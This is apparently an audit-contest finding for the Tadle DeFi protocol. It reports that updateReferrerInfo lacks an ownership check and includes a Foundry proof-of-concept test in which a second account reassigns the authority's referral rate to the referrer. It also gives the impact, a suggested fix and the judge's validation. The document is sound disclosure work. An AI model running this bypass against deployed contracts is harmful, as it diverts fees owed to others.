Tadle
Tadle
DeFi
30,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Referrer can bypass authorization check and steal the authority rate setting the full rate for themselfs.

octeezy

Summary

Referrer can update the referrer info configuration to whatever is best for them by using a secondary account and making sure the rate amounts passed are equal to the total rate. Meaning they can reset the authorityRate to 0 and theirs to the totalRate. There is also the posibility for anyone to lower the rate for any referrer back to the base rate if it is configured to a higher rate.

Vulnerability Details

function test_update_referrer_info_bypass() public {
address referrer = makeAddr("referrer");
address referrer2 = makeAddr("referrer2");
​
vm.startPrank(user1);
systemConfig.updateReferralExtraRateMap(referrer,
300_000); // Owner (user1) sets extra rate as an extra 30%
systemConfig.updateReferrerInfo(referrer, 300_000, 300_000); // Owner then gives that extra 30% to authority
vm.stopPrank();
​
vm.prank(referrer2); // Referrer skips authorization check by using a second account
systemConfig.updateReferrerInfo(referrer, 600_000, 0); // Referrer sets the authority rate for themselfs
​
ReferralInfo memory referralInfo = systemConfig.getReferralInfo(referrer);
console2.log(referralInfo.referrerRate); // 600_000
console2.log(referralInfo.authorityRate); // 0
}

Impact

Authority is left without their rate payment.

Tools Used

Manual review + foundry test.

Recommendations

Depending on the preferred protocol design either set a minimum authority rate check or make this function onlyOwner.

Updates

Lead Judging Commences

0xnevi Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-SystemConfig-updateReferrerInfo-msgSender

Valid high severity. There are two impacts here due to the wrong setting of the `refferalInfoMap` mapping. 1. Wrong refferal info is always set, so the refferal will always be delegated to the refferer address instead of the caller 2. Anybody can arbitrarily change the referrer and referrer rate of any user, resulting in gaming of the refferal system I prefer #1500 description the most, be cause it seems to be the only issue although without a poc to fully describe all of the possible impacts

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.